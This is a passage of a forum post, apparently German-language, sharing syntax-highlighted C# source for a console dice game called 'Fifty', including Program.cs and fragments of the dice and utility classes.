#007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">20&nbsp;</span><span style="color: #007700">};<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">counts&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">};<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userDices&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">nums</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">nums</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;=&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">counts</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">nums</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Program.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Fifty<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Fifty!"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">FiftyDice&nbsp;f&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">FiftyDice</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">true</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;r&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">r&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Eingabe:&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;eingabe&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">dices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Utility</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">eingabe</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">Any</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice&nbsp;n</span><span style="color: #007700">)&nbsp;{&nbsp;return&nbsp;</span><span style="color: #0000BB">n</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;}))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"INVALID&nbsp;INPUT!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Benutzte&nbsp;Würfel:&nbsp;"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice&nbsp;d&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">'W'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;+&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&gt;&nbsp;</span><span style="color: #0000BB">valid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Utility</span><span style="color: #007700">.</span><span style="color: #0000BB">IsValid</span><span style="color: #007700">(</span><span style="color: #0000BB">dices</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">valid</span><span style="color: #007700">.</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">valid</span><span style="color: #007700">.</span><span style="color: #0000BB">Value</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"{0}VALID&nbsp;DICES!\n"</span><span style="color: #007700">,&nbsp;(!</span><span style="color: #0000BB">valid</span><span style="color: #007700">.</span><span style="color: #0000BB">Key&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #DD0000">"IN"&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Now:&nbsp;"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Count</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">'W'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Num</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">userDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;+&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">valid</span><span style="color: #007700">.</span><span style="color: #0000BB">Key</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">rollDices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Utility</span><span style="color: #007700">.</span><span style="color: #0000BB">RollDices</span><span style="color: #007700">(</span><span style="color: #0000BB">dices</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Du&nbsp;würfelst&nbsp;mit&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rollDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">FiftyDice</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"3x&nbsp;used,&nbsp;init&nbsp;new&nbsp;dices..."</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Utility.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Fifty&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;</span><span style="color: #0000BB">Utility<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: 